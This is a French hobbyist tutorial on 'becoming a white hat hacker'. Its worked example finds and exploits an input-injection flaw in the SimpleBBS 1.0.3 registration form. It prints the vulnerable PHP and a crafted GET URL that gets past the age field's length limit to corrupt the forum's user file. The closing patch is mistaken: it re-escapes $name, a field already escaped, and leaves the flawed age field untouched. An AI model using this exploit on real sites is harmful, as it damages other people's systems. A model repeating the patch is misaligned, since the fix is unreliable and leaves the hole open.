Accueil - Forum - Chat - Me contacter

 
Cyberlander.tk -> Devenir Hacker
 Rubrique
Protection de CD Adresses IP Anonymat Protection et Hacking

Comment devient-on White Hat Hacker ?

 

Vous voulez devenir white hat hacker ? Alors voilà comment on fait :

1) Les connaissances à avoir

  -Connaissances en programmation : Il faut s'y connaître un minimum en programmation. Personnellement, je n'y comprends rien mais j'ai de très petites bases qui sont largement suffisantes. Du genre savoir que que if($password != $password2) veut dire que $password doit être identique à $password2

   

  -Connaissances en langage html, php, javascript : Alors là c'est des connaissances stoïques de chez Stoïques qui faut avoir. Personnellement, j'utilise Dreamweaver quand j'ai un problème et c'est réglé.

  -Logique, ruse et patience : voilà les capacités à avoir les plus indispensables. S'il y a bien quelque chose de difficile se sont c'est trois qualités.


2)Comment procède-t-on ?

  D'abord on demande au fournisseur le site, le jeu, le logiciel ou le forum qui est susceptible d'avoir une faille (une erreur qui permettrait de le pirater). Ensuite on le pirate tout bonnement pour localiser la faille et voir comment elle fonctionne. Puis enfin, on patch le site, le jeu, le logiciel ou le forum (on "rebouche" la faille en gros)


3) Exemple
  3.1) Le fonctionnement de la faille

  J'ai choisi l'exemple du forum SimpleBBS version 1.0.3. Le problème se trouve dans le formulaire d'inscription qui a cette adresse : http://[site]/index.php?v=register. Dans index.php , on peut voir :

<?php if(isset($v))
{
        if($v="register")
        {
include("includes/register.php")
;
        }

On va donc voir dans includes/register.php et voici ce qu'on observe :

$userFile = fopen
("users/users.php", "a");
fwrite($userFile,
"$id|||$name|||$password|||$real
name|||$email|||$age|||$usertext
|||$signature|||0|||
");
fclose($userFile);

  Les lignes :
$id|||$name|||$password|||$real
name|||$email|||$age|||$usertext
|||$signature|||0|||
sont intéressantes car dans le fichier users/users.php on retrouve le même format de présentation. Je m'explique. Dans le formulaire d'inscription au forum on peut rentrer plusieurs données :

-Le nom ($name)
-Le password ($password)
-Le password encore une fois (que nous nommeront $password2 même s'il n'est pas dans users/users.php pour des raisons que nous verrons)
-Le nom réel ($realname)
-Le e-mail ($email)
-L'age ($age)
-Le texte utilisateur ($usertext)
-La signature ($signature)

   

  Donc si on tape "arf" dans tous les champs, les données vont passer dans includes/register.php, qui va en vérifier la validité et va les convertir parfois. Puis les données vont être écrites dans users/users.php. Cela donnera quelque chose dans le genre :

[ID]|||arf|||
48542679d24s3518d4876d87d58d6
|||arf|||arf|||arf|||
arf|||arf|||0|||

(le mot de passe a été crypté et c'est pour ça que "arf" n'apparaît pas à cet endroit)

  Donc "arf" est apparut partout (sauf dans un cas particulier). Mais maintenant que pourrait bien faire un pirate. Et bien ! Disons qu'il veut mettre une balise <mort> (balise qui n'existe pas bien sûr) dans le fichier users/users.php, ce qui détruirait le forum tout entier.

  Il met donc dans tous les champs du formulaire d'inscription http://[site]/index.php?v=register la balise <mort>. On obtient dans users/users.php :

[ID]|||&ltmort&gt|||48542679d24s3518d4876d87d58d6
|||&ltmort&gt|||&ltmort&gt|||<mo|||&ltmort&gt
|||&ltmort&gt|||0|||

Explication : Pour savoir ce qui est arrivé à nos lettres on va donc dans le protocole d'inscription includes/register.php. On voit d'abord, avec les lignes :

if(!isset($name) || $name == "")
et :
if(!isset($password) || $password == "")

que les variantes $name et $password sont indispensables. Puis on remarque que $password doit être identique à $password2 avec la ligne :
if($password != $password2)

Puis ça devient plus intéressant. La ligne : $password = md5($password) explique que $password est crypté en hexadécimal. Et comme il n'existe ni > ni < en hexadécimal, on ne va pas pouvoir utiliser cette variante. En suite on voit le code :

   

$name = htmlspecialchars($name);
$realname = htmlspecialchars($realname);
$email = htmlspecialchars($email);
$usertext= htmlspecialchars($usertext);
$signature = htmlspecialchars($signature);

La fonction htmlspecialchars() transforme les caractères
- &
en &amp ,
- " en &quot ,
- ' en &#039 ,
- < en &lt ,
- >
en &gt .
Cela explique donc pourquoi on ne peut pas mettre de < ni de > aux variantes $name , $realname , $email , $usertext et $signature.

  Mais pourquoi <mort> devient <mo ? Pour cela il faut aller voir dans le code html de includes/registration_form.php. Dans les lignes :

<form action="index.php?v=register" method="post">
[...]
<input name="age" type="text" maxlength="3">
[...]
</form>

l'argument maxlength="3" dit qu'on ne peut pas mettre plus de 3 caractères dans le champ de formulaire age.


  3.2) Le piratage

  Mais la "protection" maxlength="3" peut être facilement contournée si on passe par l'url qui exécute le script permettant d'écrire dans le fichier users/users.php. Tout d'abord la base de l'url est http://[site]/index.php?v=register. La première ligne :
<?
if(isset($sendRegister))
{

montre que $sendRegister ne doit pas être vide. Donc http://[site]/index.php?v=register&sendRegister=1
Ensuite $name et $password ne doivent pas être vide donc : http://[site]/index.php?v=register&sendRegister=1&name=Arf&password=1
Et $password2 doit être identique à $password donc : http://[site]/index.php?v=register&sendRegister=1&name=Arf&password=
1&password2=1

On a plus qu'à mettre le code qu'on veut exécuter ce qui donne :
http://[site]/index.php?v=register&sendRegister=1&name=
Arf&password=1&password2=1&age=<mort>

ce qui écrira dans users/users.php :

[ID]|||Arf|||48542679d24s3518d4876d87d58d6
||| ||| |||<mort>||| ||| |||0|||

  Et voilà le forum est "mort".


  3.3) Le Patch

Comment reboucher la faille ? C'est très simple; il suffit d'ajouter dans includes/register.php la ligne :
$name = htmlspecialchars($name);
avant ou après $name = htmlspecialchars($name);

 

Tous ces textes sont la propriété exclusive de Ceubéx.Webmaster:Ceubéx